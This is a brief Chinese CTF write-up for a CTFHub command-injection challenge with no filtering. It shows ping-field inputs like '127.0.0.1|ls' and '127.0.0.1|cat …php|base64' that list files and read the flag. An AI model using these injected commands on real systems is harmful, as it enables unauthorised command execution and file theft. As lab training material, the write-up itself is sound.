CTFHub-RCE 命令注入-无过滤

观察源代码

判断是Windows还是Linux

• 源代码中有

   ping -c 4

  说明是Linux

  

查看有哪些文件

• 127.0.0.1|ls

  

• 发现除了index.php文件外，还存在一个可疑的文件

 打开flag文件

• 我们尝试打开这个文件

  127.0.0.1|cat 19492844826916.php

  

• 可是发现 文本内容显示不出来，所以怀疑可能编码格式问题，有些内容无法显示
• 我们尝试用base64编码

•  127.0.0.1|cat 19492844826916.php|base64

  

• 再将内容base64 解码一下 成功获取flag